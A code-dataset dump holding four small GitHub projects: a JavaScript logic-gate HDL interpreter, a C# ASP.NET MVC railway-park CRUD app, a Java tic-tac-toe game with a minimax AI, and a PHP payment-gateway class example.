branch_name
stringclasses
149 values
text
stringlengths
23
89.3M
directory_id
stringlengths
40
40
languages
listlengths
1
19
num_files
int64
1
11.8k
repo_language
stringclasses
38 values
repo_name
stringlengths
6
114
revision_id
stringlengths
40
40
snapshot_id
stringlengths
40
40
refs/heads/master
<file_sep>module.exports = { IN: {a: "a", b: "b", sel: "sel"}, OUT: {out: "out"}, PARTS: [ { NAME: "not", IN: {in: "sel"}, OUT: {out: "notSel"} }, { NAME: "and", IN: {a: "a", b: "notSel"}, OUT: {out: "aAndNotSel"} }, { NAME: "and", IN: {a: "b", b: "sel"}, OUT: {out: "bAndSel"} }, { NAME: "or", IN: {a: "aAndNotSel", b: "bAndSel"}, OUT: {out: "out"} } ], TESTS: [ {IN:{a: 0, b: 0, sel: 0}, OUT:{out: 0}}, {IN:{a: 0, b: 0, sel: 1}, OUT:{out: 0}}, {IN:{a: 0, b: 1, sel: 0}, OUT:{out: 0}}, {IN:{a: 0, b: 1, sel: 1}, OUT:{out: 1}}, {IN:{a: 1, b: 0, sel: 0}, OUT:{out: 1}}, {IN:{a: 1, b: 0, sel: 1}, OUT:{out: 0}}, {IN:{a: 1, b: 1, sel: 0}, OUT:{out: 1}}, {IN:{a: 1, b: 1, sel: 1}, OUT:{out: 1}}, ] } <file_sep>"use strict" var utils = require("./utils") const keys = utils.keys const values = utils.values const fillInAValsFromB = utils.fillInAValsFromB const eq = utils.eq // load gate specs var path = require("path") var fs = require("fs") var normalizedPath = path.join(__dirname, "gates") const GATE_HDLS = {} fs.readdirSync(normalizedPath).forEach(function(file) { GATE_HDLS[path.parse(file).name] = require(path.join(normalizedPath, file)) }) // interpret gates function gateFuncFromHdl (HDL) { return function gateFunc (IN) { if (HDL.FUNC) { // covers fundamental gate (nand/nor) const result = HDL.FUNC(IN) result.COUNT = 1 return result } else { let COUNT = 0 const knownValues = Object.assign({}, IN) const partsLeftToEvaluate = HDL.PARTS.slice() let newKnownValuesAdded = true while (newKnownValuesAdded) { newKnownValuesAdded = false partsLeftToEvaluate.forEach((PART, PART_INDEX) => { const knownValuesForPart = fillInAValsFromB(PART.IN, knownValues) // if each part.IN is in known values if (eq(keys(PART.IN), keys(knownValuesForPart))) { PART.FUNC = gateFuncFromHdl(GATE_HDLS[PART.NAME]) const results = PART.FUNC(knownValuesForPart) COUNT += results.COUNT // storing results in known values keys(PART.OUT).forEach(outKey => knownValues[PART.OUT[outKey]] = results[outKey]) // remove part from parts to evaluate partsLeftToEvaluate.splice(PART_INDEX, 1) newKnownValuesAdded = true } }) } const result = fillInAValsFromB(HDL.OUT, knownValues) result.COUNT = COUNT return result } } } // export interpreted gates (+ TESTS) module.exports = keys(GATE_HDLS).reduce((gates, gateName) => { const GATE = GATE_HDLS[gateName] gates[gateName] = gateFuncFromHdl(GATE) gates[gateName].TESTS = GATE.TESTS return gates }, {}) <file_sep>"use strict" const GATES = require("./interpreter") const utils = require("./utils") const keys = utils.keys const eq = utils.eq // test gates keys(GATES).forEach(gateName => testGate(GATES[gateName], gateName)) function testGate (gate, gateName) { gate.TESTS.forEach(TEST => { const result = gate(TEST.IN) const COUNT = result.COUNT delete result.COUNT console.log(eq(result, TEST.OUT) ? "√" : "X", gateName+":", TEST.IN, "->", TEST.OUT, "GOT:", result, `gate count:`, COUNT) }) } <file_sep># logic-gates A Hardware Description Language for logic gates interpreted by js `npm test` to run the tests.
788496139a51e3b49db875a95e2101cd02c06a4e
[ "JavaScript", "Markdown" ]
4
JavaScript
mLuby/logic-gates
638ca32f636132795de068bdaa2cf04d459c2bba
72432c6f9fa62adefe89c0c21ab448864a2caf23
refs/heads/master
<file_sep>using System; using System.Collections.Generic; using System.Data; using System.Data.Entity; using System.Linq; using System.Net; using System.Web; using System.Web.Mvc; using ParqueFerroviarioAlberto.Models; namespace ParqueFerroviarioAlberto.Controllers { public class ViajeController : Controller { private ParqueFerroviario db = new ParqueFerroviario(); // GET: Viaje public ActionResult Index() { return View(db.viaje.ToList()); } // GET: Viaje/Details/5 public ActionResult Details(int? id) { if (id == null) { return new HttpStatusCodeResult(HttpStatusCode.BadRequest); } Viaje viaje = db.viaje.Find(id); if (viaje == null) { return HttpNotFound(); } return View(viaje); } // GET: Viaje/Create public ActionResult Create() { return View(); } // POST: Viaje/Create // Para protegerse de ataques de publicación excesiva, habilite las propiedades específicas a las que quiere enlazarse. Para obtener // más detalles, vea https://go.microsoft.com/fwlink/?LinkId=317598. [HttpPost] [ValidateAntiForgeryToken] public ActionResult Create([Bind(Include = "idViaje,origen,destino,estatus,idTren")] Viaje viaje) { if (ModelState.IsValid) { db.viaje.Add(viaje); db.SaveChanges(); return RedirectToAction("Index"); } return View(viaje); } // GET: Viaje/Edit/5 public ActionResult Edit(int? id) { if (id == null) { return new HttpStatusCodeResult(HttpStatusCode.BadRequest); } Viaje viaje = db.viaje.Find(id); if (viaje == null) { return HttpNotFound(); } return View(viaje); } // POST: Viaje/Edit/5 // Para protegerse de ataques de publicación excesiva, habilite las propiedades específicas a las que quiere enlazarse. Para obtener // más detalles, vea https://go.microsoft.com/fwlink/?LinkId=317598. [HttpPost] [ValidateAntiForgeryToken] public ActionResult Edit([Bind(Include = "idViaje,origen,destino,estatus,idTren")] Viaje viaje) { if (ModelState.IsValid) { db.Entry(viaje).State = EntityState.Modified; db.SaveChanges(); return RedirectToAction("Index"); } return View(viaje); } // GET: Viaje/Delete/5 public ActionResult Delete(int? id) { if (id == null) { return new HttpStatusCodeResult(HttpStatusCode.BadRequest); } Viaje viaje = db.viaje.Find(id); if (viaje == null) { return HttpNotFound(); } return View(viaje); } // POST: Viaje/Delete/5 [HttpPost, ActionName("Delete")] [ValidateAntiForgeryToken] public ActionResult DeleteConfirmed(int id) { Viaje viaje = db.viaje.Find(id); db.viaje.Remove(viaje); db.SaveChanges(); return RedirectToAction("Index"); } protected override void Dispose(bool disposing) { if (disposing) { db.Dispose(); } base.Dispose(disposing); } } } <file_sep>using System; using System.Data.Entity; namespace ParqueFerroviarioAlberto.Models { public class ParqueFerroviario:DbContext { public DbSet<Taller> taller { get; set; } public DbSet<Empresa> empresa { get; set; } public DbSet<Ciudad> ciudad { get; set; } public DbSet<Estado> estado { get; set; } public DbSet<Puesto> puesto { get; set; } public DbSet<Empleado> empleado { get; set; } public DbSet<Proveedor> proveedor { get; set; } public DbSet<Compra> compra { get; set; } public DbSet<Estacion> estacion { get; set; } public DbSet<Tren> tren { get; set; } public DbSet<Viaje> viaje { get; set; } public DbSet<Ruta> ruta { get; set; } public DbSet<Patio> patio { get; set; } public DbSet<Vagon> vagon { get; set; } public DbSet<Articulo> articulo { get; set; } public DbSet<CompraArticulo> compraarticulo { get; set; } public DbSet<TrenEmpleado> trenempleado { get; set; } } }<file_sep>using System; using System.Data.Entity; using System.ComponentModel.DataAnnotations; using System.ComponentModel.DataAnnotations.Schema; namespace ParqueFerroviarioAlberto.Models { [Table("tren")] public class Tren { [Key] public Int32 idTren { get; set; } public string numero { get; set; } public string destino { get; set; } public string diesel { get; set; } public string fabricado { get; set; } public bool estatus { get; set; } public Int32 idEstacion { get; set; } } }<file_sep>using System; using System.Data.Entity; using System.ComponentModel.DataAnnotations; using System.ComponentModel.DataAnnotations.Schema; namespace ParqueFerroviarioAlberto.Models { [Table("estado")] public class Estado { [Key] public Int32 idEstado { get; set; } public string ubicacion { get; set; } public bool estatus { get; set; } public Int32 idCiudad { get; set; } } }<file_sep>using System; using System.Data.Entity; using System.ComponentModel.DataAnnotations; using System.ComponentModel.DataAnnotations.Schema; namespace ParqueFerroviarioAlberto.Models { [Table("ciudad")] public class Ciudad { [Key] public Int32 idCiudad { get; set; } public string ubicacion { get; set; } public string codigoPostal { get; set; } public bool estatus { get; set; } public Int32 idEmpresa { get; set; } } }<file_sep>using System; using System.Data.Entity; using System.ComponentModel.DataAnnotations; using System.ComponentModel.DataAnnotations.Schema; namespace ParqueFerroviarioAlberto.Models { [Table("trenempleado")] public class TrenEmpleado { [Key] public Int32 idTrenEmpleado { get; set; } public Int32 idTren { get; set; } public Int32 idEmpleado { get; set; } public bool estatus { get; set; } } }<file_sep>using System; using System.Data.Entity; using System.ComponentModel.DataAnnotations; using System.ComponentModel.DataAnnotations.Schema; namespace ParqueFerroviarioAlberto.Models { [Table("empleado")] public class Empleado { [Key] public Int32 idEmpleado { get; set; } public string nombre { get; set; } public string apellidoPaterno { get; set; } public string apellidoMaterno { get; set; } public bool estatus { get; set; } public Int32 idPuesto { get; set; } public Int32 idEmpresa { get; set; } } }<file_sep>using System; using System.Data.Entity; using System.ComponentModel.DataAnnotations; using System.ComponentModel.DataAnnotations.Schema; namespace ParqueFerroviarioAlberto.Models { [Table("vagon")] public class Vagon { [Key] public Int32 idVagon { get; set; } public string carga { get; set; } public bool estatus { get; set; } public Int32 idPatio { get; set; } public Int32 idTaller { get; set; } public Int32 idTren { get; set; } } }<file_sep># ProyectoFinal Base de datos y aplicacion web <file_sep>using System; using System.Collections.Generic; using System.Data; using System.Data.Entity; using System.Linq; using System.Net; using System.Web; using System.Web.Mvc; using ParqueFerroviarioAlberto.Models; namespace ParqueFerroviarioAlberto.Controllers { public class VagonController : Controller { private ParqueFerroviario db = new ParqueFerroviario(); // GET: Vagon public ActionResult Index() { return View(db.vagon.ToList()); } // GET: Vagon/Details/5 public ActionResult Details(int? id) { if (id == null) { return new HttpStatusCodeResult(HttpStatusCode.BadRequest); } Vagon vagon = db.vagon.Find(id); if (vagon == null) { return HttpNotFound(); } return View(vagon); } // GET: Vagon/Create public ActionResult Create() { return View(); } // POST: Vagon/Create // Para protegerse de ataques de publicación excesiva, habilite las propiedades específicas a las que quiere enlazarse. Para obtener // más detalles, vea https://go.microsoft.com/fwlink/?LinkId=317598. [HttpPost] [ValidateAntiForgeryToken] public ActionResult Create([Bind(Include = "idVagon,carga,estatus,idPatio,idTaller,idTren")] Vagon vagon) { if (ModelState.IsValid) { db.vagon.Add(vagon); db.SaveChanges(); return RedirectToAction("Index"); } return View(vagon); } // GET: Vagon/Edit/5 public ActionResult Edit(int? id) { if (id == null) { return new HttpStatusCodeResult(HttpStatusCode.BadRequest); } Vagon vagon = db.vagon.Find(id); if (vagon == null) { return HttpNotFound(); } return View(vagon); } // POST: Vagon/Edit/5 // Para protegerse de ataques de publicación excesiva, habilite las propiedades específicas a las que quiere enlazarse. Para obtener // más detalles, vea https://go.microsoft.com/fwlink/?LinkId=317598. [HttpPost] [ValidateAntiForgeryToken] public ActionResult Edit([Bind(Include = "idVagon,carga,estatus,idPatio,idTaller,idTren")] Vagon vagon) { if (ModelState.IsValid) { db.Entry(vagon).State = EntityState.Modified; db.SaveChanges(); return RedirectToAction("Index"); } return View(vagon); } // GET: Vagon/Delete/5 public ActionResult Delete(int? id) { if (id == null) { return new HttpStatusCodeResult(HttpStatusCode.BadRequest); } Vagon vagon = db.vagon.Find(id); if (vagon == null) { return HttpNotFound(); } return View(vagon); } // POST: Vagon/Delete/5 [HttpPost, ActionName("Delete")] [ValidateAntiForgeryToken] public ActionResult DeleteConfirmed(int id) { Vagon vagon = db.vagon.Find(id); db.vagon.Remove(vagon); db.SaveChanges(); return RedirectToAction("Index"); } protected override void Dispose(bool disposing) { if (disposing) { db.Dispose(); } base.Dispose(disposing); } } } <file_sep>using System; using System.Data.Entity; using System.ComponentModel.DataAnnotations; using System.ComponentModel.DataAnnotations.Schema; namespace ParqueFerroviarioAlberto.Models { [Table("compra")] public class Compra { [Key] public Int32 idCompra { get; set; } public string nombreDeCompra { get; set; } public string codigo { get; set; } public bool estatus { get; set; } public Int32 idEmpresa { get; set; } public Int32 idProveedor { get; set; } } }<file_sep>using System; using System.Data.Entity; using System.ComponentModel.DataAnnotations; using System.ComponentModel.DataAnnotations.Schema; namespace ParqueFerroviarioAlberto.Models { [Table("ruta")] public class Ruta { [Key] public Int32 idRuta { get; set; } public string rutaTren { get; set; } public bool estatus { get; set; } public Int32 idCiudad { get; set; } } }<file_sep>using System; using System.Data.Entity; using System.ComponentModel.DataAnnotations; using System.ComponentModel.DataAnnotations.Schema; namespace ParqueFerroviarioAlberto.Models { [Table("estacion")] public class Estacion { [Key] public Int32 idEstacion { get; set; } public string salida { get; set; } public string llegada { get; set; } public string telefono { get; set; } public bool estatus { get; set; } public Int32 idEmpresa { get; set; } } }<file_sep>using System; using System.Data.Entity; using System.ComponentModel.DataAnnotations; using System.ComponentModel.DataAnnotations.Schema; namespace ParqueFerroviarioAlberto.Models { [Table("compraarticulo")] public class CompraArticulo { [Key] public Int32 idCompraArticulo { get; set; } public Int32 idCompra { get; set; } public Int32 idArticulo { get; set; } public bool estatus { get; set; } } }
f2b7e317867b34fe5c687712e08db579ed8cd947
[ "Markdown", "C#" ]
14
C#
AlverSa/ProyectoFinal
9f03751112dae8d9e81c343b45288889b3ac3bd7
0267b7591486c86fd88f7adf59a2780e3e8d7789
refs/heads/master
<file_sep>package game; import java.util.ArrayList; import java.util.List; import state.GameState; import state.Player; public class Board implements GameState { public static final String EMPTY = " "; public static final String PLAYER1 = "X"; public static final String PLAYER2 = "O"; public static String getOtherPlayer(String currentPlayer) { return currentPlayer.equals(PLAYER1) ? PLAYER2 : PLAYER1; } private List<List<String>> board; private final int rows; private final int cols; private int length; private Board(int rows, int cols) { this.rows = rows; this.cols = cols; length = 0; board = new ArrayList<>(); for (int r = 0; r < rows; ++r) { board.add(new ArrayList<>()); for (int c = 0; c < cols; ++c) { board.get(r).add(EMPTY); } } } public Board() { this(3, 3); } /** * Copy constructor - returns a deep copy of other. * * @param other the board to copy */ public Board(Board other) { rows = other.getRows(); cols = other.getCols(); length = other.size(); board = new ArrayList<>(); for (List<String> row : other.getBoard()) { board.add(new ArrayList<>(row)); } } @Override public boolean equals(Object other) { if (other instanceof Board) { Board otherBoard = (Board)other; return getRows() == otherBoard.getRows() && getCols() == otherBoard.getCols() && board.equals(otherBoard.getBoard()); } return false; } /** * @see java.lang.Object#toString() */ @Override public String toString() { return board.toString(); } /** * @see GameState#terminal() */ @Override public boolean terminal() { for (int r = 0; r < getRows(); ++r) { if (rowHasStreak(r, PLAYER1) || rowHasStreak(r, PLAYER2)) { return true; } } for (int c = 0; c < getCols(); ++c) { if (colHasStreak(c, PLAYER1) || colHasStreak(c, PLAYER2)) { return true; } } if (diagonalHasStreak(PLAYER1) || diagonalHasStreak(PLAYER2)) { return true; } if (size() == getRows() * getCols()) { return true; } return false; } /** * @see GameState#utility(Player) */ @Override public int utility(Player player) { String me = player.getId(); String enemy = getOtherPlayer(me); for (int r = 0; r < getRows(); ++r) { if (rowHasStreak(r, me)) { return 1; } else if (rowHasStreak(r, enemy)) { return -1; } } for (int c = 0; c < getCols(); ++c) { if (colHasStreak(c, me)) { return 1; } else if (colHasStreak(c, enemy)) { return -1; } } if (diagonalHasStreak(me)) { return 1; } else if (diagonalHasStreak(enemy)) { return -1; } // tie return 0; } /** * Prints a human-readable representation of the board to standard-out. */ public void printBoard() { System.out.print(" "); for (int c = 0; c < cols; ++c) { System.out.printf("%d ", c + 1); } System.out.println(); for (int r = 0; r < rows; ++r) { System.out.printf("%d ", r + 1); for (int c = 0; c < cols; ++c) { System.out.printf("%s ", board.get(r).get(c)); } System.out.println(); } } /** * Represents the number of moves that have currently been made on the board. * * @return the number of moves made */ public int size() { return length; } /** * Places the move at (row, col) on the board, marking it with player's icon. * Only places the move if it is valid. * * @param row * @param col * @param player * @return true if the move was valid */ public boolean place(int row, int col, String player) { boolean result = isValidMove(row, col); if (result) { board.get(row).set(col, player); ++length; } return result; } /** * Determines if the space at (row, col) is a valid move. * A valid move is within the boundaries of the board, and is empty. * * @param row row to place a move in * @param col column to place a move in * @return true if the move is valid */ public boolean isValidMove(int row, int col) { return row >= 0 && row < rows && col >= 0 && col < cols && board.get(row).get(col).equals(EMPTY); } public List<List<String>> getBoard() { return board; } public int getRows() { return rows; } public int getCols() { return cols; } /** * Determines if the given row has a winning streak by the given player. * * @param row * @param player * @return true if player has a streak in row */ private boolean rowHasStreak(int row, String player) { boolean hasStreak = !player.equals(EMPTY); int col = 0; while (col < getCols() && hasStreak) { String value = board.get(row).get(col++); hasStreak = hasStreak && value.equals(player); } return hasStreak; } /** * Determines if the given column has a winning streak by the given player. * * @param col * @param player * @return true if player has a streak in col */ private boolean colHasStreak(int col, String player) { boolean hasStreak = !player.equals(EMPTY); int row = 0; while (row < getRows() && hasStreak) { String value = board.get(row++).get(col); hasStreak = hasStreak && value.equals(player); } return hasStreak; } /** * Determines if either diagonal has a winning streak by the given player. * * @param player * @return true if player has a diagonal streak */ private boolean diagonalHasStreak(String player) { int row = 0; int col = 0; boolean leftHasStreak = !player.equals(EMPTY); while (row < getRows() && col < getCols() && leftHasStreak) { String value = board.get(row++).get(col++); leftHasStreak = leftHasStreak && value.equals(player); } row = 0; col = getCols() - 1; boolean rightHasStreak = !player.equals(EMPTY); while (row < getRows() && col >= 0 && rightHasStreak) { String value = board.get(row++).get(col--); rightHasStreak = rightHasStreak && value.equals(player); } return leftHasStreak || rightHasStreak; } } <file_sep>package game; import state.GameState; import state.MinMaxGameTreeNode; public class TicTacToeGameTreeNode extends MinMaxGameTreeNode { private Pair move; private int rank; public TicTacToeGameTreeNode(GameState state, AdversaryType adversaryType) { super(state, adversaryType); move = new Pair(-1, -1); rank = 0; } @Override public String toString() { return String.format("GameTreeNode(%s, rank=%d, player=%s)", getState().toString(), getRank(), getAdversaryType().toString()); } public Pair getMove() { return move; } public void setMove(int row, int col) { move.setFirst(row); move.setSecond(col); } public int getRank() { return rank; } public void setRank(int rank) { this.rank = rank; } } <file_sep>package state; import java.util.LinkedList; import java.util.List; public abstract class MinMaxGameTreeNode implements GameTreeNode { public static enum AdversaryType { MIN, MAX } /** * Returns the opposite AdversaryType of current. * e.g., if current is MAX, returns MIN, and vice-versa. * * @param current the AdversaryType to be reversed * @return the reversed AdversaryType of current */ public static AdversaryType reverseAdversaryType(AdversaryType current) { switch (current) { case MIN: return AdversaryType.MAX; case MAX: return AdversaryType.MIN; } return null; } private GameState state; private AdversaryType adversaryType; private List<GameTreeNode> children; public MinMaxGameTreeNode(GameState state, AdversaryType adversaryType) { this.state = state; this.adversaryType = adversaryType; children = new LinkedList<>(); } @Override public String toString() { return String.format("GameTreeNode(%s, player=%s)", getState().toString(), getAdversaryType().toString()); } public GameState getState() { return state; } public List<GameTreeNode> getChildren() { return children; } public void addChild(GameTreeNode child) { children.add(child); } public AdversaryType getAdversaryType() { return adversaryType; } } <file_sep># tic-tac-toe ## Abstract This repository holds the source code for a console-based game of Tic-Tac-Toe on a 3x3 board against an artificially intelligent computer player that never loses. ## Background This was the final project in ICS 45J (Introduction to Java) at UC Irvine, Fall 2017. It was very open-ended; you could implement it however you want. The professor recommended a split between an offensive and defensive computer player, depending on the current state of the game. I chose to implement a Min-Max game search algorithm to ensure that the AI always selects the best move for itself. I also happened to be taking CS 171 (Introduction to Artificial Intelligence) at the same time, so it was the perfect chance for me to apply my knowledge across courses. ## The Algorithm ### How does it work? A [min-max](https://en.wikipedia.org/wiki/Minimax) (or minimax) algorithm applies most relevantly to turn-based games between two optimal players. One player, *max*, seeks to maximize his/her score by choosing the move which will yield the highest value result after the opponent, *min*, has moved. Similarly, *min* is trying to minimize *max*'s score. ### Applying Min-Max to Tic-Tac-Toe Let the AI be *max*, and the user be *min*. After every move, *max* will internally play the game against itself to completion by generating a tree of all possible moves. Each node's children consist of the game board with every possible next move. Upon finding a path in which *max* wins (or ties if it can't win), it will back-track up the tree until it reaches the first move that it made in that path. ### Implementation I implemented the game tree as a digital tree. Each node stores the current game board, and each child contains the game board with the next possible move of the opposing player. As such, the root will always be a *max* node, the next level will be *min* nodes, the next level *max*, and so on. ### Analysis Since this min-max implementation generates a complete tree on each turn of the AI, it has significant overhead on every other turn: * *O(b<sup>d</sup>)* time to generate a complete tree. * *b* is the branching factor of the tree (the number of possible next moves from any given state). * *d* is the depth of the tree (the total number of concrete moves that will be played; equivalent to the number of turns that will be taken). * *Θ(d/2)* turns taken by the AI against an optimal opponent. * the tree is generated each time *max* makes a turn. * **O(db<sup>d</sup>)** total running time. This is of course feasible on a 3x3 game board, but would be extremely inefficient on larger sizes. #### Possible Optimizations One way to significantly reduce the running time would be to generate the complete tree only once, at the beginning. Let *v* be the node in the tree representing the state of *max*'s current turn. After *min* makes a move, scan *v*'s children in *O(b)* time to find the correct node matching the updated board's state. Use this node as the new root. The updated analysis: * *Θ(b<sup>d</sup>)* time to generate a complete game tree from the initial, empty game state. * *O(b)* time to scan *b* children of *v*. * with optimal moves, *min* will have *Θ(d/2)* total turns. * **O(b<sup>d</sup> + bd)** total running time.<file_sep>package game; import java.util.Scanner; public class Game { private static final Scanner in = new Scanner(System.in); public static void main(String[] args) { String playerIcon = Board.PLAYER1; do { playerIcon = promptForString("Enter the player's icon (X/O)").toUpperCase(); } while (!(playerIcon.equalsIgnoreCase(Board.PLAYER1) || playerIcon.equalsIgnoreCase(Board.PLAYER2))); String whoFirst = ""; do { whoFirst = promptForString("Which player will go first (X/O)?").toUpperCase(); } while (!(whoFirst.equalsIgnoreCase(Board.PLAYER1) || whoFirst.equalsIgnoreCase(Board.PLAYER2))); Game game = new Game(playerIcon, whoFirst.equals(playerIcon)); game.play(); } /** * Displays message and prompts for input from standard-in. * * @param message String message to be displayed at prompt * @return String that is entered into standard-in */ private static String promptForString(String message) { System.out.printf("%s: ", message); while (!in.hasNext()) { String invalid = in.next(); System.out.printf(" \")%s\" is not a valid string.\n", invalid); System.out.printf("%s: ", message); } return in.next(); } /** * Displays message and prompts for integer input from standard-in. * Repeatedly prompts if a non-integer is entered. * * @param message String message to be displayed at prompt * @return integer that is entered into standard-in. */ private static int promptForInt(String message) { System.out.printf("%s: ", message); while (!in.hasNextInt()) { String invalid = in.next(); System.out.printf(" \")%s\" is not a valid integer.\n", invalid); System.out.printf("%s: ", message); } return in.nextInt(); } private final String playerIcon; private final String opponentIcon; private final boolean playerGoesFirst; private ComputerPlayer opponent; private Board board; /** * Constructs a new Game object. * * @param playerIcon * @param playerGoesFirst */ public Game(String playerIcon, boolean playerGoesFirst) { this.playerIcon = playerIcon; this.playerGoesFirst = playerGoesFirst; opponentIcon = playerIcon.equals(Board.PLAYER1) ? Board.PLAYER2 : Board.PLAYER1; board = new Board(); opponent = new ComputerPlayer(opponentIcon, playerIcon, board); } /** * Starts the game. Prints the board, allows for user input, and allows computer to play. * Ends the game when someone has won, or it's a tie. */ public void play() { printGame(); while (true) { try { if (playerGoesFirst) { playerMakesMove(); opponentMakesMove(); } else { opponentMakesMove(); playerMakesMove(); } } catch (GameOverException e) { System.out.println(e.getMessage()); break; } } } /** * Prompts the user to enter in a row, followed by a column number to standard-in. * This represents the user's next move. * Repeatedly prompts until valid integers that are currently empty in the game board are inputted. * * @return validated Pair representing (row, column) */ private Pair getPlayerMove() { boolean validMove; int row = -1; int col = -1; do { System.out.println("Your turn -"); row = promptForInt(" Enter a row (1-indexed)") - 1; col = promptForInt(" Enter a column (1-indexed)") - 1; validMove = board.isValidMove(row, col); if (!validMove) { System.out.printf("(%d, %d) is not a valid move. Try again.\n", row + 1, col + 1); } } while (!validMove); return new Pair(row, col); } /** * Generic helper method to place a validated move on the board. * Prints the game board after the move has been made. * * @param player the String "icon" of which player's turn it is (i.e., "X" or "O") * @param move the validated move to be placed on the board, represented as (row, column) * @return true if the game is over */ private boolean makeMove(String player, Pair move) { int row = move.getFirst(); int col = move.getSecond(); board.place(row, col, player); System.out.println(); printGame(); return board.terminal(); } /** * Helper method that allows the computer to make its next move. * Prints out input similar to the player's prompts for convenience. * * @throws GameOverException if the game is over */ private void opponentMakesMove() throws GameOverException { System.out.println("Opponent's turn:"); Pair opponentMove = opponent.getNextMove(board); System.out.printf(" Enter a row (1-indexed): %d\n", opponentMove.getFirst() + 1); System.out.printf(" Enter a column (1-indexed): %d\n", opponentMove.getSecond() + 1); if (makeMove(opponentIcon, opponentMove)) { String message = generateWinningMessage(); throw new GameOverException(message); } } /** * Helper method that allows the player to make his/her next move. * * @throws GameOverException if the game is over */ private void playerMakesMove() throws GameOverException { Pair playerMove = getPlayerMove(); if (makeMove(playerIcon, playerMove)) { String message = generateWinningMessage(); throw new GameOverException(message); } } /** * Generates the winning message based on the board's state relative to the computer player. * Assumes that the game has ended. * One of: * "X wins!" * "O wins!" * "Tie!" * * @return String message to be printed at the end of the game */ private String generateWinningMessage() { int score = board.utility(opponent); String result = ""; switch (score) { case 1: result = String.format("%s wins!", opponentIcon); break; case -1: result = String.format("%s wins!", playerIcon); break; default: result = "Tie!"; } return result; } /** * Prints the icon information and board in a human-readable format. */ private void printGame() { System.out.printf("PLAYER: %s --- COMPUTER: %s\n", playerIcon, opponentIcon); board.printBoard(); System.out.println(); } }
5496c102acd2baebae52b9d21e6ecfbcfb5421e2
[ "Markdown", "Java" ]
5
Java
kiwiko123/tic-tac-toe
0b56da7a95846261530d2bff8222e4a5975e48f9
5a6f96b24962a09a898fc8c492288de608287b99
refs/heads/master
<file_sep>import { Component, ViewChild, ElementRef } from '@angular/core'; import { NavController } from 'ionic-angular'; import { Geolocation } from '@ionic-native/geolocation'; declare var google; @Component({ selector: 'page-home', templateUrl: 'home.html' }) export class HomePage { @ViewChild('map') mapElement: ElementRef; map: any; lat: any = -17.789182; lon: any = -50.879812; constructor( public navCtrl: NavController, private geolocation: Geolocation ) { } ionViewDidLoad() { this.showMap(); } showMap() { this.geolocation.getCurrentPosition().then((position) => { let latLng = new google.maps.LatLng(position.coords.latitude, position.coords.longitude); let mapOptions = { center: latLng, zoom: 15, mapTypeId: google.maps.MapTypeId.HYBRID } this.map = new google.maps.Map(this.mapElement.nativeElement, mapOptions); let location2 = new google.maps.LatLng(this.lat, this.lon); this.addMarker2(location2, this.map); this.addMarker2(latLng, this.map); }, (err) => { console.log(err); }); } addMarker2(position, map) { return new google.maps.Marker({ position, map}); } } <file_sep># GeoLocationIonic Seja bem vindo este projeto é um exemplo funcional de uso do recurso de GeoLocalização da API do Google no Ionic 3
febca661129492b3eb6246ffb396a69074de805c
[ "Markdown", "TypeScript" ]
2
TypeScript
cyberlinkrv/GeoLocationIonic
cf7b1df187e41531f45493c8751c543876228d1f
4b3bcc91ded408192d23629bf992c2fa3fa31b9d
refs/heads/master
<file_sep># Add multiple Payment gateway in PHP (OOPS) Add N number of payment gateway in very flexible manner i.e. DI, without any if else condition and manage its configuration from database. <file_sep><?php /** * Interface StandardPaymentService */ interface StandardPaymentService { public function pay(); } /** * Interface FraudCheckService */ interface FraudCheckService { public function fraudCheck(); } /** * Interface ThreeDSecureCheckService */ interface ThreeDSecureCheckService { public function threeDcheck(); } /** * Interface PaymentProcessService */ interface PaymentProcessService { public function process(); } /** * Class PaymentException */ class PaymentException extends Exception { } /** * Class StandardPayment, its property set by requested payment gateway or its class */ class StandardPayment { private $transId; private $amt; private $currencyType; private $endPointUrl; private $returnEndPointUrl; private $notifyEndPointUrl; private $submitMethod; private $merchantKey; private $privateKey; private $publicKey; /** * StandardPayment constructor. * @param array $attributes */ public function __construct($attributes = Array()) { //Apply provided attribute values foreach ($attributes as $attribute => $value) { $this->$attribute = $value; } } /** * Getter/Setter not defined so set as property of object * @param $name * @param $value */ function __set($name, $value) { if (method_exists($this, $name)) { $this->$name($value); } else { $this->$name = $value; } } /** * Getter/Setter not defined so return property if it exists * @param $name * @return null */ function __get($name) { if (method_exists($this, $name)) { return $this->$name(); } elseif (property_exists($this, $name)) { return $this->$name; } return null; } } /** * Class AbcPay */ class AbcPay extends StandardPayment implements StandardPaymentService, PaymentProcessService { // private $endPointUrl = "http://abc.com/pay"; /** * AbcPay constructor. * @param array $attributes */ public function __construct($attributes = array()) { parent::__construct($attributes); } /** * @return AbcPay */ public function process() { return $this->pay(); } /** * @return $this */ public function pay() { return $this; } } /** * Class XyzPay */ class XyzPay extends StandardPayment implements StandardPaymentService, PaymentProcessService, ThreeDSecureCheckService { /** * XyzPay constructor. * @param array $attributes */ public function __construct($attributes = array()) { parent::__construct($attributes); } /** * @return $this */ public function pay() { return $this; } /** * @return $this */ public function threeDcheck() { return $this; } /** * @return $this */ public function process() { $this->threeDcheck(); $this->pay(); return $this; } } /** * Class EtcPay */ class EtcPay extends StandardPayment implements StandardPaymentService, PaymentProcessService, FraudCheckService { /** * EtcPay constructor. * @param array $attributes */ public function __construct($attributes = []) { parent::__construct($attributes); } /** * @return $this * @throws PaymentException */ public function fraudCheck() { //Dummy check if (!$this->transId) { throw new PaymentException("id required"); } if ($this->amt <= 0) { throw new PaymentException("amt required"); } return $this; } /** * @return $this */ public function pay() { return $this; } /** * @return $this */ public function process() { $this->fraudCheck(); $this->pay(); return $this; } } /** * Class PaymentGateway */ class PaymentGateway { /** * DI based on payment gateway * @param PaymentProcessService $paymentProcessService * @return mixed */ public function takePayment(PaymentProcessService $paymentProcessService) { debug($paymentProcessService); return $paymentProcessService->process(); } } //TEST and todo: make db call for specific payment gateway & its setting from db. try { $paymentGateway = new PaymentGateway(); $paymentGateway->takePayment(new AbcPay()); //pass the data from db // $paymentGateway->takePayment(new AbcPay(['endPointUrl' => 'http://abc.com/pay', 'additionPropertyBasedOnPaymentGateway'=>'its value'])); $paymentGateway->takePayment(new XyzPay()); $paymentGateway->takePayment(new EtcPay()); } catch (PaymentException $e) { debug($e->getMessage()); } finally { debug("Thank you :)"); } /** * Utility method for Print or debug * @param array ...$var */ function debug(...$var) { echo "<pre>"; var_dump($var); }<file_sep><?php /** * Created by PhpStorm. * User: bharat.bhushan * Date: 12/23/18 * Time: 12:28 PM */
695bc390be482f26b3e5c011c085ece68f931186
[ "Markdown", "PHP" ]
3
Markdown
bharatsoftpro/payment-gateway-integration-php-oops
